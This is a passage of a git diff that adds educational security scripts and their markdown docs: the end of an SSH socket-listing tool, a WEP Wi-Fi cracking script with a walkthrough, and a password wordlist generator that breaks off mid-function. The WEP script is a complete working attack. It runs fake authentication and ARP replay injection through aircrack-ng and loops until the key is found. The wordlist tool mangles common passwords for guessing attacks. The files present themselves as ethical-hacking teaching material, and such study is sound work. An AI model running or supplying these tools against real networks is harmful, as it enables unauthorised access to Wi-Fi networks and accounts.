+ # many ss outputs include "LISTEN" in the State column; ignore non-listening lines
+ continue
+
+ # split tokens and look for ip:port token (usually 4th or 5th token)
+ parts = line.split()
+ local_addr_token = None
+ for tok in parts:
+ if ":" in tok and tok.count(":") < 8: # naive check to exclude IPv6 full addresses sometimes
+ # try match addr:port at end
+ m = ADDR_PORT_RE.search(tok)
+ if m:
+ local_addr_token = tok
+ break
+
+ port = None
+ local_ip = None
+ if local_addr_token:
+ m = ADDR_PORT_RE.search(local_addr_token)
+ if m:
+ local_ip = m.group(1)
+ try:
+ port = int(m.group(2))
+ except Exception:
+ port = None
+
+ pid = None
+ process_name = None
+
+ # Try ss-specific "pid=...,fd=" pattern
+ m = PID_PROC_RE.search(line)
+ if m:
+ pid = int(m.group(1))
+ process_name = m.group(2)
+
+ # fallback: try to detect pid/program like "1234/nginx"
+ if pid is None:
+ m2 = PID_PROC_ALT_RE.search(line)
+ if m2:
+ try:
+ pid = int(m2.group(1))
+ except Exception:
+ pid = None
+ process_name = m2.group(2)
+
+ results.append({
+ "raw_line": line,
+ "local_ip": local_ip,
+ "port": port,
+ "pid": pid,
+ "process": process_name,
+ })
+ return results
+
+
+def parse_netstat_output(stdout: str) -> List[Dict]:
+ """
+ Parse `netstat -tulpen` output to extract listening sockets.
+ This is also heuristic and suited to many Linux netstat outputs.
+ """
+ results: List[Dict] = []
+ for line in stdout.splitlines():
+ if not line:
+ continue
+ if "LISTEN" not in line and "LISTEN" not in line.upper():
+ continue
+ parts = line.split()
+ # netstat often has local_address as 4th token - try to locate the ip:port
+ local_addr_token = None
+ for tok in parts:
+ if ":" in tok and tok.count(":") < 8:
+ m = ADDR_PORT_RE.search(tok)
+ if m:
+ local_addr_token = tok
+ break
+ port = None
+ local_ip = None
+ if local_addr_token:
+ m = ADDR_PORT_RE.search(local_addr_token)
+ if m:
+ local_ip = m.group(1)
+ try:
+ port = int(m.group(2))
+ except Exception:
+ port = None
+
+ pid = None
+ process_name = None
+ # netstat may show "pid/program" in one of the tail tokens
+ for tok in parts[::-1]:
+ if "/" in tok:
+ m2 = PID_PROC_ALT_RE.search(tok)
+ if m2:
+ try:
+ pid = int(m2.group(1))
+ except Exception:
+ pid = None
+ process_name = m2.group(2)
+ break
+
+ results.append({
+ "raw_line": line,
+ "local_ip": local_ip,
+ "port": port,
+ "pid": pid,
+ "process": process_name,
+ })
+ return results
+
+
+def collect_listening_via_ssh(target: str) -> Dict:
+ """
+ Orchestrates running `ss` (or `netstat` fallback) on the remote target via SSH, parses results,
+ and returns a JSON-serializable dict with:
+ - used_command: which remote command was run
+ - stdout/stderr: raw outputs (for debugging)
+ - parsed: list of parsed listening sockets
+ - error: optional error message if both commands failed
+ """
+ # Try 'ss' first (modern)
+ r = run_ssh_command(target, SS_CMD)
+ stdout = r["stdout"]
+ stderr = r["stderr"]
+ rc = r["returncode"]
+
+ used = SS_CMD
+ parsed = []
+ error_msg: Optional[str] = None
+
+ if rc != 0 or not stdout.strip():
+ # Try fallback to netstat
+ r2 = run_ssh_command(target, NETSTAT_CMD)
+ stdout2 = r2["stdout"]
+ stderr2 = r2["stderr"]
+ rc2 = r2["returncode"]
+
+ if rc2 == 0 and stdout2.strip():
+ stdout = stdout2
+ stderr = stderr2
+ used = NETSTAT_CMD
+ parsed = parse_netstat_output(stdout)
+ else:
+ # both failed — record errors
+ error_msg = f"ss failed (rc={rc}, stderr={stderr!r}); netstat failed (rc={rc2}, stderr={stderr2!r})"
+ stdout = stdout + "\n" + stdout2
+ stderr = stderr + "\n" + stderr2
+ parsed = []
+ else:
+ # parse ss output
+ parsed = parse_ss_output(stdout)
+
+ return {
+ "target": target,
+ "used_command": used,
+ "stdout": stdout,
+ "stderr": stderr,
+ "parsed": parsed,
+ "error": error_msg,
+ }
+
+
+def main(argv: Optional[List[str]] = None) -> int:
+ """
+ CLI entry — parse target, run collection, print JSON to stdout.
+ Example:
+ python3 python-scripts/remote_collect_via_ssh.py --target user@192.168.1.100
+ """
+ parser = argparse.ArgumentParser(description="Collect listening sockets from a remote host via SSH (ss/netstat).")
+ parser.add_argument("--target", required=True, help="SSH target (user@host or host). Requires ssh access.")
+ parser.add_argument("--timeout", type=int, default=20, help="SSH command timeout (seconds)")
+ args = parser.parse_args(argv)
+
+ # Quick pre-flight: ensure ssh is available locally
+ from shutil import which
+ if which("ssh") is None:
+ print("Error: 'ssh' not found on local system. Please install OpenSSH client.", file=sys.stderr)
+ return 2
+
+ res = collect_listening_via_ssh(args.target)
+ # Pretty-print JSON so maintainers can paste into PR/issue if desired
+ print(json.dumps(res, indent=2))
+ # Exit code: 0 if no error, 1 if we had parsing failure or remote command issues
+ return 0 if res.get("error") is None else 1
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/UI/frontend/src/content/python-scripts/wep_wifi_hacking.md b/UI/frontend/src/content/python-scripts/wep_wifi_hacking.md
new file mode 100644
index 0000000..8388d6a
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wep_wifi_hacking.md
@@ -0,0 +1,116 @@
+## wep_wifi_hacking.py
+
+### Usage Scenario
+This script is a classic example used in **ethical hacking and network security education**. Its primary utility is to demonstrate the well-known **vulnerabilities of the WEP (Wired Equivalent Privacy) encryption protocol**.
+
+* **What problem does it solve?** It automates the complex, multi-step process required to capture enough **Initialization Vectors (IVs)** from a WEP-encrypted network to successfully crack its security key. This procedure highlights the critical weaknesses of WEP, which is a deprecated and insecure standard.
+* **Who would benefit from using it?**
+ * **Network Security Professionals (Penetration Testers)**: To conduct authorized security assessments on networks they own or have permission to test, validating the absence of WEP or the necessity of upgrading to WPA/WPA2/WPA3.
+ * **Students and Educators**: To learn hands-on about wireless network security, packet capturing, replay attacks, and how tools from the **Aircrack-ng suite** function when orchestrated together.
+
+---
+
+### What the Script Does
+The script orchestrates a **WEP key cracking attack** by automating the simultaneous use of several tools from the **Aircrack-ng suite** (`airodump-ng`, `aireplay-ng`, `aircrack-ng`) via Python's `subprocess` and `threading` modules.
+
+The overall flow is:
+1. **Input:** The script requires the **wireless interface name** (e.g., `wlan0mon`) as a command-line argument.
+2. **Setup:** It puts the specified wireless interface into **monitor mode**.
+3. **Discovery:** It scans the area for nearby WEP-encrypted access points using `airodump-ng`.
+4. **Targeting:** The user interactively selects a target WEP network from the discovered list (BSSID, Channel, ESSID).
+5. **Attack Orchestration:** It starts four key processes in separate, parallel threads: **Packet Capture**, **Fake Authentication**, **ARP Replay Attack** (to generate traffic/IVs), and **Key Cracking**.
+6. **Output/Side Effects:** The main output is the **WEP encryption key** printed to the console once `aircrack-ng` successfully finds it. It creates temporary capture files (e.g., `wep_capture-01.cap`) which are actively analyzed and then cleaned up upon successful completion or termination.
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+| Library | Purpose |
+| :--- | :--- |
+| `os` | Used for basic file system interaction, primarily to **clean up** old capture files (`os.remove`) before and after the attack. |
+| `subprocess` | **Crucial** for executing external command-line programs (the Aircrack-ng suite tools and system utilities like `ifconfig`) and managing their execution. |
+| `re` | Used for **Regular Expressions** to parse and extract relevant information (BSSID, Channel, ESSID) from the raw text output of the `airodump-ng` scan. |
+| `threading` | **Essential** for the attack to work efficiently. It enables the **concurrent execution** of multiple, independent attack steps (capture, injection, cracking) simultaneously. |
+| `sys` | Used for system-level functions, mainly to read **command-line arguments** (the wireless interface name) and to exit the script gracefully. |
+| `time` | Used to introduce **pauses** (`time.sleep`) in the script's execution flow, ensuring a necessary delay between starting concurrent attack threads. |
+
+#### Main Functions
+| Function | Parameters | Purpose |
+| :--- | :--- | :--- |
+| `set_monitor_mode` | `interface` (str) | Executes shell commands (`ifconfig`, `iwconfig`) to change the specified wireless adapter into **monitor mode**, which is required for injection and capturing. |
+| `find_wep_networks` | `interface` (str) | Runs `sudo airodump-ng` for a brief period, parses the output using regex, and returns a list of **WEP-encrypted networks**. |
+| `select_target` | `networks` (list) | Displays the list of discovered networks and handles the user's interactive selection of the target AP. |
+| `run_airodump` | `interface`, `bssid`, `channel`, `filename` | Starts `airodump-ng` in the background to **capture IVs** for the specific target and save them to a `.cap` file. |
+| `run_fake_auth` | `interface`, `bssid` | Runs `aireplay-ng --fakeauth` to establish an association with the target AP, a step often required for successful packet injection. |
+| `run_arp_replay` | `interface`, `bssid` | Runs `aireplay-ng --arpreplay` to actively **inject ARP request packets**. This forces the AP to generate new IVs at a high rate, accelerating the cracking process. |
+| `run_aircrack` | `filename` | Runs `aircrack-ng` in a **continuous loop** against the captured file (`filename-01.cap`). It checks the output repeatedly until the "KEY FOUND!" string is matched. |
+| `main` | None | The entry point. It manages setup, discovery, target selection, and the **multi-threaded launch** and graceful termination of all attack components. |
+
+### Execution Logic
+1. **Initialization:** The script first checks if the user provided the necessary wireless interface name as a command-line argument.
+2. **Interface Setup:** It calls `set_monitor_mode()` to prepare the wireless card.
+3. **Target Selection:** It calls `find_wep_networks()` and then `select_target()` to identify the BSSID and Channel of the network to be attacked.
+4. **Pre-Attack Cleanup:** It removes any residual capture files from previous attempts (`wep_capture-01.*`) to ensure the cracker works with fresh data.
+5. **Thread Orchestration:** This is the simultaneous launch of the attack:
+ * Four `Thread` objects (`dumper`, `auth`, `arp`, `cracker`) are instantiated for the four main attack functions.
+ * They are started sequentially: `dumper` $\rightarrow$ `auth` $\rightarrow$ `arp` $\rightarrow$ `cracker`, with a `time.sleep(5)` delay between some of them to ensure the packet capture and authentication have a head start.
+ * The main script then calls **`cracker.join()`**, which **blocks** the main program until the `run_aircrack` thread successfully finds the key and terminates.
+6. **Termination and Cleanup:** A `try...finally` block ensures that:
+ * If the key is found, or the user presses `Ctrl+C`, the `finally` block executes.
+ * It uses **`sudo killall`** to forcefully stop all active `airodump-ng`, `aireplay-ng`, and `aircrack-ng` processes running in the background.
+ * A final cleanup removes all remaining `.cap`, `.csv`, and related capture files.
+
+---
+
+### Screenshots
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant Script as wep_wifi_hacking.py
+ participant OS as Operating System / Shell
+ participant Aircrack as Aircrack-ng Suite
+
+ User->>Script: Execute Script (Interface Name)
+ Script->>Script: Check Arguments / Clean Old Files
+ Script->>OS: Run: Set Interface to Monitor Mode
+ OS-->>Script: Status: Monitor Mode Active
+
+ Script->>Aircrack: Run: airodump-ng (Scan WEP Networks)
+ Aircrack-->>Script: Scan Output (BSSIDs, Channels)
+ Script->>User: Display Networks
+ User->>Script: Select Target Network (BSSID, Channel)
+
+ par Multi-Threaded Attack Launch
+ Script->>Aircrack: Thread 1: run_airodump (Start Packet Capture)
+ Script->>Aircrack: Thread 2: run_fake_auth (Authenticate to AP)
+ Script->>Aircrack: Thread 3: run_arp_replay (Inject Packets / Generate IVs)
+ Script->>Aircrack: Thread 4: run_aircrack (Start Cracker Loop)
+ end
+
+ Script->>Script: Main thread waits (cracker.join())
+
+ loop Until "KEY FOUND!"
+ Note over Aircrack: airodump-ng saves IVs to .cap file
+ Note over Aircrack: aireplay-ng actively generates IVs
+ Aircrack->>Aircrack: aircrack-ng continuously checks .cap file
+ end
+
+ Aircrack-->>Script: Key Found! (aircrack-ng output)
+ Script->>User: Display WEP Key
+
+ alt User Interrupt (Ctrl+C)
+ User->>Script: Interrupt Execution
+ end
+
+ Script->>OS: Run: killall (Stop all Aircrack processes)
+ OS-->>Script: Processes Terminated
+ Script->>Script: Final File Cleanup
+ Script->>OS: Exit
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/wep_wifi_hacking.py b/UI/frontend/src/content/python-scripts/wep_wifi_hacking.py
new file mode 100644
index 0000000..c465389
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wep_wifi_hacking.py
@@ -0,0 +1,194 @@
+# Write a Python script to Hack a WEP Wi-Fi Network
+# This script captures packets from a WEP-encrypted Wi-Fi network and performs a deauthentication attack to force clients to reconnect, allowing the capture of the necessary packets for cracking WEP encryption.
+
+import os
+import subprocess
+import re
+from threading import Thread
+import sys
+# from datetime import datetime
+import time
+
+# helper functions
+def find_wep_networks(interface):
+ """Scans for WEP networks and returns them as a list."""
+ print("[*] Scanning for WEP networks... Press Ctrl+C to stop scanning.")
+ wep_networks = []
+ try:
+ # starts a process to scan the area for networks.
+ proc = subprocess.Popen(
+ ['sudo', 'airodump-ng', interface],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ text=True
+ )
+ time.sleep(10) # scan for 10 seconds
+ except KeyboardInterrupt:
+ pass
+ finally:
+ proc.terminate()
+ proc.wait()
+ output = proc.communicate()[0]
+
+ # uses a pattern to find wep networks in the scan results.
+ network_regex = re.compile(r'(?P([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2})\s+.*?\s+(?P\d{1,2})\s+.*?\s+WEP\s+WEP\s+.*?\s+(?P.*)')
+
+ for line in output.split('\n'):
+ match = network_regex.search(line)
+ if match:
+ network_info = match.groupdict()
+ # cleans up the network name.
+ network_info['essid'] = network_info['essid'].strip()
+ if network_info['essid'] and 'length' not in network_info['essid']:
+ wep_networks.append(network_info)
+
+ return wep_networks
+
+def select_target(networks):
+ """Displays a list of networks and prompts the user to select one."""
+ if not networks:
+ print("[!] No WEP networks found. Exiting.")
+ return None
+
+ print("\n[+] Found WEP Networks:")
+ for i, net in enumerate(networks):
+ print(f" [{i}] BSSID: {net['bssid']} | Channel: {net['channel']:<2} | ESSID: {net['essid']}")
+
+ # gets the user's choice.
+ while True:
+ try:
+ choice = int(input("\n[*] Select your target network number: "))
+ if 0 <= choice < len(networks):
+ return networks[choice]
+ else:
+ print("[!] Invalid selection.")
+ except ValueError:
+ print("[!] Please enter a number.")
+
+def set_monitor_mode(interface):
+ """Ensures the specified interface is in monitor mode."""
+ print(f"[*] Setting interface {interface} to monitor mode...")
+ try:
+ # runs a series of commands to prepare the wireless card.
+ subprocess.run(['sudo', 'ifconfig', interface, 'down'], check=True)
+ subprocess.run(['sudo', 'iwconfig', interface, 'mode', 'monitor'], check=True)
+ subprocess.run(['sudo', 'ifconfig', interface, 'up'], check=True)
+ print(f"[+] Interface {interface} is now in monitor mode.")
+ return True
+ except subprocess.CalledProcessError:
+ print(f"[!] Failed to set {interface} to monitor mode. Make sure the interface name is correct.")
+ return False
+
+# --- attack functions ---
+def run_airodump(interface, bssid, channel, filename):
+ """Starts airodump-ng to capture packets for a specific target."""
+ print("[*] Starting packet capture...")
+ command = ['sudo', 'airodump-ng', '--bssid', bssid, '-c', channel, '-w', filename, interface]
+ subprocess.Popen(command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+
+def run_fake_auth(interface, bssid):
+ """Performs fake authentication to associate with the target AP."""
+ print("[*] Performing fake authentication...")
+ command = ['sudo', 'aireplay-ng', '--fakeauth', '0', '-a', bssid, interface]
+ subprocess.Popen(command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+ time.sleep(5)
+
+def run_arp_replay(interface, bssid):
+ """Starts the ARP request replay attack to generate IVs."""
+ print("[*] Starting ARP request replay attack to generate traffic...")
+ command = ['sudo', 'aireplay-ng', '--arpreplay', '-b', bssid, interface]
+ subprocess.Popen(command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+
+def run_aircrack(filename):
+ """Runs aircrack-ng in a loop to crack the key."""
+ print("\n[***] Starting cracking process. This will run until the key is found. [***]")
+ key_found = False
+ while not key_found:
+ try:
+ # checks the captured file for the key.
+ result = subprocess.run(
+ ['sudo', 'aircrack-ng', f'{filename}-01.cap'],
+ capture_output=True,
+ text=True,
+ check=True
+ )
+ if "KEY FOUND!" in result.stdout:
+ print("\n" + "="*40)
+ print("[!!!] WEP KEY FOUND! [!!!]")
+ print(result.stdout)
+ print("="*40)
+ key_found = True
+ else:
+ # provides a status update to the user.
+ print("[*] Not enough packets yet, still trying...", end='\r')
+ time.sleep(10)
+ except subprocess.CalledProcessError as e:
+ # aircrack-ng gives an error if the key isn't found, so we just continue.
+ time.sleep(10)
+ except KeyboardInterrupt:
+ print("\n[*] Exiting cracker.")
+ break
+
+# --- main function ---
+def main():
+ # checks if the user provided a wireless interface.
+ if len(sys.argv) < 2:
+ print(f"Usage: sudo python3 {sys.argv[0]} ")
+ sys.exit(1)
+
+ interface = sys.argv[1]
+
+ if not set_monitor_mode(interface):
+ sys.exit(1)
+
+ networks = find_wep_networks(interface)
+ target = select_target(networks)
+
+ if not target:
+ sys.exit(1)
+
+ bssid = target['bssid']
+ channel = target['channel']
+ essid = target['essid']
+ filename = "wep_capture"
+
+ print(f"\n[+] Target locked: {essid} ({bssid}) on channel {channel}")
+
+ # cleans up any old files from previous attempts.
+ for ext in ['.cap', '.csv', '.kismet.csv', '.kismet.netxml', '.log.csv']:
+ if os.path.exists(f"{filename}-01{ext}"):
+ os.remove(f"{filename}-01{ext}")
+
+ # starts all the different attack tools at the same time.
+ dumper = Thread(target=run_airodump, args=(interface, bssid, channel, filename))
+ auth = Thread(target=run_fake_auth, args=(interface, bssid))
+ arp = Thread(target=run_arp_replay, args=(interface, bssid))
+ cracker = Thread(target=run_aircrack, args=(filename,))
+
+ try:
+ dumper.start()
+ time.sleep(5) # gives the packet capture a head start.
+ auth.start()
+ time.sleep(5) # waits for the fake connection to be made.
+ arp.start()
+ cracker.start()
+
+ # waits for the cracking process to finish.
+ cracker.join()
+
+ except KeyboardInterrupt:
+ print("\n[*] Shutting down all processes...")
+ finally:
+ # stops all the running attack tools.
+ subprocess.run(['sudo', 'killall', 'airodump-ng', 'aireplay-ng', 'aircrack-ng'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+ print("[+] All attack processes have been terminated.")
+
+ # performs a final cleanup of capture files.
+ for ext in ['.cap', '.csv', 'kismet.csv', '.kismet.netxml', '.log.csv']:
+ if os.path.exists(f"{filename}-01{ext}"):
+ os.remove(f"{filename}-01{ext}")
+ print("[+] Capture files cleaned up.")
+
+# this line makes sure the main function runs when the script starts.
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/wordlist_generator.md b/UI/frontend/src/content/python-scripts/wordlist_generator.md
new file mode 100644
index 0000000..fb17624
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wordlist_generator.md
@@ -0,0 +1,123 @@
+## wordlist_generator.py
+
+### Usage Scenario
+
+This script is designed to quickly generate small, focused **wordlists** for controlled, **local Ethical Hacking lab environments**. It addresses the common need in penetration testing training and local security auditing to have a list of likely passwords for cracking attempts against non-production targets (e.g., intentionally weak login pages, hash cracking practice).
+
+* **What problem does it solves?** It solves the problem of needing a small, customized, yet diverse dictionary of potential passwords based on a set of known or assumed base words. It automatically applies common **mangling techniques** (leet-speak, case variations, year/digit suffixes) that mimic predictable human password patterns, saving the user time from manually generating these variants.
+* **Who would benefit from using it?**
+ * **Beginner Ethical Hackers/Penetration Testers** learning about brute-forcing and dictionary attacks in a safe, contained environment.
+ * **Security Trainers** who need to quickly set up a target system with simple, crackable passwords for educational purposes.
+ * **Developers/System Administrators** performing internal, local security checks against test environments.
+
+---
+
+### What the Script Does
+
+The `wordlist_generator.py` script is a dedicated utility for creating a **customized wordlist file** by systematically mutating a list of base words.
+
+At a high level, the script takes a list of **base words** (either from a file or a built-in default list) and applies several common password transformations:
+1. **Leet-speak Substitution:** Replacing common letters (like 'a', 'e', 's') with visually similar numbers or symbols (e.g., 'p4ssw0rd').
+2. **Case Variation:** Generating lowercase, uppercase, and capitalized versions.
+3. **Suffix/Prefix Mangling:** Appending and prepending a customizable range of years and short numerical digits.
+
+The script then de-duplicates all generated candidates and writes the final, sorted list to an output file, respecting a user-defined maximum number of entries (`--limit`) to prevent the creation of excessively large files.
+
+| Input (Inputs) | Output (Outputs) / Side Effects |
+| :--- | :--- |
+| Base words (from a file specified by `--bases` or built-in defaults). | A **new text file** (default: `wordlist_generated.txt`) containing the generated wordlist, with one potential password per line. |
+| Configuration arguments (`--out`, `--bases`, `--years`, `--max-suffix`, `--limit`). | A **summary message** printed to the console indicating the number of entries written and the output file path. |
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `argparse` | **Essential** for defining and processing command-line arguments, allowing the user to configure the generation process (output file, limits, suffixes). |
+| `itertools` | **Crucial** for the `leet_variants` function. It uses `itertools.product` to efficiently generate the **Cartesian product** of all possible leet-speak character substitutions. |
+| `os` | Used within `main()` to check for the **existence of the base words file** (`os.path.exists`) provided via the `--bases` argument. |
+| `sys` | Used for standard system operations, specifically calling `sys.exit(main())` to ensure the script terminates with the correct exit code. |
+| `from __future__ import annotations` | Used to enable advanced **type hinting** features, improving code readability and static analysis. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `leet_variants` | `word` (str), `max_variants` (int) | `list[str]` | Generates leet-speak permutations of the input `word` based on `LEET_MAP`. It includes a `max_variants` safety cap (default 50/100) to prevent combinatorial explosion. |
+| `case_variants` | `word` (str) | `list[str]` | Generates the common case variations: lowercase, uppercase, and capitalized. |
+| `generate` | `word` (str), `years` (`list[str]`), `max_suffix` (int) | `list[str]` | The **core mangling logic**. It applies leet-speak and case variations, and then combines these variants with years and simple numeric suffixes (as both prefix and suffix). |
+| `write_wordlist` | `path` (str), `words` (`list[str]`) | `None` | Writes the final list of words to the specified file path, printing a summary to the console upon completion. |
+| `parse_years` | `arg` (str) | `list[str]` | Utility function to interpret the `--years` argument, supporting single years, comma-separated lists, and a range (e.g., `'2018-2025'`). |
+
+#### Execution Logic
+
+The script's execution begins within the `if __name__ == "__main__":` block, which calls the main control function, `main()`.
+
+1. **Argument Parsing:** `main()` initializes `argparse` to process all configuration options provided by the user (e.g., `--out`, `--bases`, `--limit`).
+2. **Base Word Loading:** The script attempts to load base words from the file specified by `--bases`. If the file is not found, it falls back to the hardcoded `DEFAULT_BASES` list.
+3. **Suffix Preparation:** The `--years` argument is processed by `parse_years()` to produce a usable list of year strings.
+4. **Generation Loop:** The script iterates through every base word. For each base word, it calls the **`generate()`** function.
+5. **Variant Generation (`generate` flow):**
+ * Adds base word variants (`leet_variants` and `case_variants`) to a temporary set (`results`).
+ * Creates a small, bounded list of numerical and year suffixes (`small_suffixes`).
+ * Iterates through the variants in `results` and the items in `small_suffixes`, generating both **`base+suffix`** and **`suffix+base`** combinations.
+ * Returns a sorted list of all generated candidates for that base word.
+6. **Finalization:** All generated variants from all base words are combined into a single list (`words`).
+7. **De-duplication and Limiting:** The final list is de-duplicated using `list(dict.fromkeys(words))` to preserve order, and then truncated using array slicing (`[: args.limit]`) to enforce the user's size limit (default 5000).
+8. **Output:** The final, limited list is written to the output file using `write_wordlist()`, and the script exits.
+
+---
+
+### Screenshots
+
+
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant OS as Operating System
+ participant Script as wordlist_generator.py
+ participant ArgParse as argparse
+ participant FS as File System
+ participant Gener as generate()
+ participant Leet as leet_variants()
+
+ User->>OS: Execute: python wordlist_generator.py --out mylist.txt --bases bases.txt
+ OS->>Script: Start execution (main())
+ Script->>ArgParse: parse_args() (Reads CLI arguments)
+ ArgParse-->>Script: args (out, bases, years, limit, max_suffix)
+
+ Script->>Script: parse_years(args.years) (e.g. '2018-2025' -> ['2018', '2019', ...])
+
+ alt Base file provided and exists
+ Script->>FS: Check and Read args.bases (bases.txt)
+ FS-->>Script: List of base words
+ else No base file or not found
+ Script->>Script: Use DEFAULT_BASES
+ end
+
+ loop For each base word 'b' in bases
+ Script->>Gener: generate(b, years, max_suffix)
+ Gener->>Leet: leet_variants(b)
+ Leet-->>Gener: Leet variants
+ Gener->>Gener: Create Case Variants (Upper, Capital) for all variants
+
+ Gener->>Gener: Combine with Suffixes (Years and Digits) as Base+Suffix & Suffix+Base
+ Gener-->>Script: List of mangled variants
+ Script->>Script: words.extend(mangled_variants)
+ end
+
+ Script->>Script: De-duplicate list and apply args.limit (5000)
+ Script->>FS: write_wordlist(args.out, final_list)
+ FS-->>Script: File successfully written
+ Script->>User: Wrote X entries to mylist.txt
+ Script->>OS: Exit with code 0 (Success)
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/wordlist_generator.py b/UI/frontend/src/content/python-scripts/wordlist_generator.py
new file mode 100644
index 0000000..a542f4f
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/wordlist_generator.py
@@ -0,0 +1,202 @@
+"""
+wordlist_generator.py — small, safe wordlist generator for local labs
+
+Creates a wordlist by combining base words with simple mangling options:
+ - leet substitutions (a->4, e->3, i->1, o->0, s->5)
+ - append/prepend years and digits
+ - case variants
+
+Usage:
+ python wordlist_generator.py --out mylist.txt --bases bases.txt --years 2018-2025 --max-suffix 2
+
+Keep it local. Do not use this against third-party systems.
+"""
+
+from __future__ import annotations
+import argparse
+import itertools
+import os
+import sys
+
+# Mapping used to create simple "leetspeak" variants. Keys are letters and values
+# are candidate replacements used when generating permutations. We include a few
+# common substitutions but keep this small to avoid explosion of combinations.
+LEET_MAP = {
+ 'a': ['a', '4', '@'],
+ 'e': ['e', '3'],
+ 'i': ['i', '1', '!'],
+ 'o': ['o', '0'],
+ 's': ['s', '5', '$'],
+ 't': ['t', '7']
+}
+
+# Default base words used when no `--bases` file is provided. These are simple
+# example words suitable for local lab demonstrations (do not use real leaked
+# passwords).
+DEFAULT_BASES = [
+ 'password', 'admin', 'welcome', 'letmein', 'qwerty', 'password123', 'changeme'
+]
+
+
+def leet_variants(word: str, max_variants: int = 50) -> list[str]:
+ """Generate up to ``max_variants`` leetspeak permutations for ``word``.
+
+ - word: input string to transform (e.g. "password").
+ - max_variants: safety cap to avoid combinatorial explosion.
+
+ Implementation details:
+ - For each character, look up the replacement options in ``LEET_MAP``.
+ - Use itertools.product to iterate the Cartesian product of choices.
+ - Stop after ``max_variants`` results to keep output manageable.
+
+ Returns a list of generated strings.
+ """
+ # Convert the word into a list of characters so we can map each char to
+ # its replacement choices (or itself if no entry exists in LEET_MAP).
+ letters = list(word)
+ choices = [LEET_MAP.get(c.lower(), [c]) for c in letters]
+
+ # combinations is an iterator yielding tuples with one choice per input
+ # character. We join each tuple into a string to create a candidate.
+ combos = itertools.product(*choices)
+ out: list[str] = []
+ for i, comb in enumerate(combos):
+ # safety cut-off to prevent huge lists
+ if i >= max_variants:
+ break
+ candidate = ''.join(comb)
+ out.append(candidate)
+ return out
+
+
+def case_variants(word: str) -> list[str]:
+ """Return common case variations for ``word``.
+
+ Produces lower-case, upper-case and capitalized variants. We keep this
+ minimal to avoid too many duplicates and to produce realistic candidates.
+ """
+ return [word.lower(), word.upper(), word.capitalize()]
+
+
+def generate(word: str, years: list[str], max_suffix: int) -> list[str]:
+ """Produce a small list of mangled variants for a single base ``word``.
+
+ Steps and important variables:
+ - results: a set collecting base, leet and case variants for the word.
+ - small_suffixes: a curated suffix list (empty, provided years, 0..N digits)
+ used to avoid generating enormous suffix lists for large ``max_suffix``.
+ - final: the set of all base+suffix and suffix+base permutations.
+
+ Returns a sorted list of candidates.
+ """
+ results: set[str] = set()
+ # base case: include the original word
+ results.add(word)
+
+ # Add leet variants (may produce many combinations; limited by leet_variants)
+ for lv in leet_variants(word, max_variants=100):
+ results.add(lv)
+
+ # For each generated variant so far, add simple case variations
+ for cv in list(results):
+ for c in case_variants(cv):
+ results.add(c)
+
+ # Build a small suffix list. For safety we don't generate every possible
+ # N-digit suffix; instead we include provided years and a short range of
+ # numeric suffixes (0..99 or up to 10**max_suffix) to keep lists useful but
+ # bounded.
+ small_suffixes: list[str] = ['']
+ for y in years:
+ small_suffixes.append(y)
+ # include up to 100 numeric suffixes or up to 10**max_suffix (whichever is smaller)
+ for d in range(0, min(100, 10**max_suffix)):
+ small_suffixes.append(str(d))
+
+ final: set[str] = set()
+ # Combine each variant with each suffix, both as suffix and prefix
+ for base in results:
+ for s in small_suffixes:
+ candidate = f"{base}{s}"
+ final.add(candidate)
+ final.add(f"{s}{base}")
+ return sorted(final)
+
+
+def write_wordlist(path: str, words: list[str]) -> None:
+ """Write the list of ``words`` to ``path`` (one entry per line).
+
+ - path: output file path
+ - words: list of strings to write
+ """
+ with open(path, 'w', encoding='utf-8') as f:
+ for w in words:
+ f.write(w + '\n')
+ # print a short summary so the user knows how many entries were written
+ print(f'Wrote {len(words)} entries to {path}')
+
+
+def parse_years(arg: str) -> list[str]:
+ """Parse the ``--years`` argument into a list of year strings.
+
+ Supported formats:
+ - '2018-2020' -> ['2018','2019','2020']
+ - '2018,2020' -> ['2018','2020']
+ - '2020' -> ['2020']
+
+ Returns an empty list if arg is falsy.
+ """
+ if not arg:
+ return []
+ if ',' in arg:
+ # explicit list separated by commas
+ return [y.strip() for y in arg.split(',') if y.strip()]
+ if '-' in arg:
+ # a range like 2018-2025
+ start, end = arg.split('-', 1)
+ return [str(y) for y in range(int(start), int(end) + 1)]
+ # single year
+ return [arg]
+
+
+def main(argv: list[str] | None = None) -> int:
+ """Parse arguments, build variants for each base word and write the wordlist.
+
+ Important args and variables:
+ - --out: output path
+ - --bases: optional file path containing base words (one per line)
+ - --years: years to append (or range) used by parse_years
+ - --max-suffix: numeric suffix length (0,1,2 recommended)
+ - --limit: cap the number of written entries to avoid huge lists
+ """
+ parser = argparse.ArgumentParser(description='Simple wordlist generator (lab use only)')
+ parser.add_argument('--out', '-o', default='wordlist_generated.txt', help='output file')
+ parser.add_argument('--bases', '-b', help='file with base words (one per line)')
+ parser.add_argument('--years', '-y', default='2018-2025', help='years or range (e.g. 2018-2025)')
+ parser.add_argument('--max-suffix', type=int, default=2, help='max numeric suffix length (0-3 recommended)')
+ parser.add_argument('--limit', type=int, default=5000, help='max number of entries to write')
+ args = parser.parse_args(argv)
+
